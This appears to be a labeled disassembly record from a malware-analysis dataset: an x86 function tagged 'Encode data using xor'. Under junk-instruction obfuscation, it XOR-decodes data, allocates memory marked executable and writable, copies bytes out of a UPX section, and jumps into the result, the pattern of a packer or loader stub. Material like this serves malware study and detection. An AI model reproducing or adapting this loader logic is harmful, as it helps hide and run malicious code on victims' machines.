Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf4865fec
mov esi, 0xc25a7dac
sub esi, ebx
add esi, esi
popal
inc esi
and esi, esi
mov ebx, 0
mov eax, edi
mov ecx, edx
add ecx, edx
mov esi, eax
add ecx, 0xd42e2cdd
or ecx, ecx
sub ecx, edx
mov edi, esi
sub ecx, 0x59c67bf0
and edx, edx
inc ebx
add edx, 0xc597c2cf
not ecx
cmp ebx, 0x100de3f
jne 0xa789c4
sub ecx, 0x3ac94979
not edx
add ebx, 0xba2e7c45
mov ebx, esi
mov edx, 0xa78796
sub edi, 0x84b0cf4
sub edi, 0x98f05dae
or esi, esi
mov ecx, 0xa7898a
and edi, esi
inc esi
mov eax, dword [edx]
and esi, edi
or esi, esi
sub edi, 0x8b1404a4
and eax, 0xff
mov ebx, 0x6482d74f
add esi, ebx
xor dword [ecx], eax
or ebx, edi
add esi, 0x13f8eb43
or esi, edi
inc ecx
add edi, ebx
sub esi, edi
inc edx
mov esi, edi
dec esi
add ebx, ebx
cmp ecx, entry0
jl 0xa78a20
dec esi
add ebx, edi
or edi, edi
sub edi, esi
not esi
add esi, 0x53048a43
mov ebx, 0xa7898e
sub edx, 0x31f78a51
sub ecx, 0xeba657b6
add esi, 1
mov ebx, dword [ebx]
mov esi, edi
mov edx, 0x3e26c042
mov ebx, dword [ebx]
sub edx, esi
add edi, 0x96be1de7
or ecx, edx
push ebx
mov edi, edx
add esi, edi
mov ebx, 0xa7898a
mov ecx, edx
add edx, edi
mov ebx, dword [ebx]
add edi, esi
not edx
mov ebx, dword [ebx]
sub esi, ecx
add ecx, 0x3201b2b2
add ecx, esi
push 0xa78992
not edx
mov edi, ecx
or esi, edi
call ebx
add edx, 0xa4d60f85
sub edx, ecx
pop ebx
sub esi, edx
mov ecx, 0xf2d9fb65
sub esp, 4
mov dword [esp], 0xa7899f
dec ecx
sub edi, 0xc01f3827
inc edi
sub esp, 4
mov dword [esp], eax
dec esi
mov edx, edi
or edi, ecx
call ebx
mov esi, edi
sub esi, edi
push 0x40
inc edx
mov edx, 0xa9aeb5c9
push 0x3000
dec edx
dec ecx
sub edx, esi
push 0x20000d64
inc ecx
sub esi, edi
sub esp, 4
mov dword [esp], 0
add esi, edi
add edi, 1
mov edx, ecx
call eax
mov edx, 0xddff57e3
add edx, edx
or esi, esi
add eax, 0x20000ce8
sub edi, 1
mov ecx, 0xdc531052
not edx
mov ebx, 0xf26802a9
not esi
or esi, edi
inc ecx
mov dword [eax], ebx
and ecx, esi
mov edx, 0x9100654a
add edi, esi
mov ebx, dword [eax]
sub edx, 0x6a4383e3
add esi, 0x7f8e44f7
not edi
cmp ebx, 0xf26802a9
je 0xa78b79
mov edx, 0
mov byte [edx], cl
or ecx, edx
add esi, 0x8a578e0
or esi, edi
sub esi, 0xc7227ac2
mov ebx, 0x6cd40cf6
and ebx, esi
mov eax, section.UPX1
not esi
mov esi, ebx
mov edx, 0xa78795
not ebx
inc esi
inc esi
mov edi, 0
inc esi
mov ebx, 0x324c13ce
mov ecx, 0xa78796
add ebx, ebx
add ebx, 0x60a8cb37
lea ecx, [edi + ecx]
sub ebx, 0x55984a44
mov esi, 0xacf78e62
mov ecx, dword [ecx]
add ebx, 0xb21f4544
and ebx, esi
add ebx, 0xd877f30a
and ecx, 0xff
not esi
or esi, ebx
inc ebx
inc edi
inc esi
and ebx, ebx
cmp edi, 0x1f4
jne 0xa78bf4
mov edi, 0
sub esi, 0x26589146
add esi, 0x50421692
sub esi, 0x45c96004
mov esi, 0x53243694
add esi, 1
xor dword [eax], ecx
not ebx
add ebx, 0xba342ff0
and esi, ebx
add eax, 2
sub esi, ebx
and ebx, esi
cmp eax, edx
jl 0xa78bad
sub esi, 0x91703329
sub ebx, esi
or ebx, ebx
sub esi, ebx
dec esi
not ebx
mov esi, section.UPX1
sub eax, 0xa37c717a
mov edi, eax
inc eax
mov ebx, section.UPX1
add edi, 1
inc edi
mov ecx, 0xa78795
and eax, edi
sub eax, 0xb6691f03
mov edx, 0
or edi, eax
mov edi, eax
or eax, eax
mov dl, byte [ebx]
dec eax
sub edi, 0x216d1ee6
mov edi, eax
mov byte [esi], dl
inc edi
add edi, edi
or edi, eax
add esi, 1
not eax
mov edi, eax
and edi, eax
add ebx, 2
or eax, edi
mov edi, 0xa03863e0
and eax, eax
cmp ebx, ecx
jle 0xa78c70
not edi
mov edi, eax
dec edi
add ebx, 0x4f878d0a
and ebx, ebx
push 0x8dc6a0
not ebx
dec esi
add ebx, ebx
ret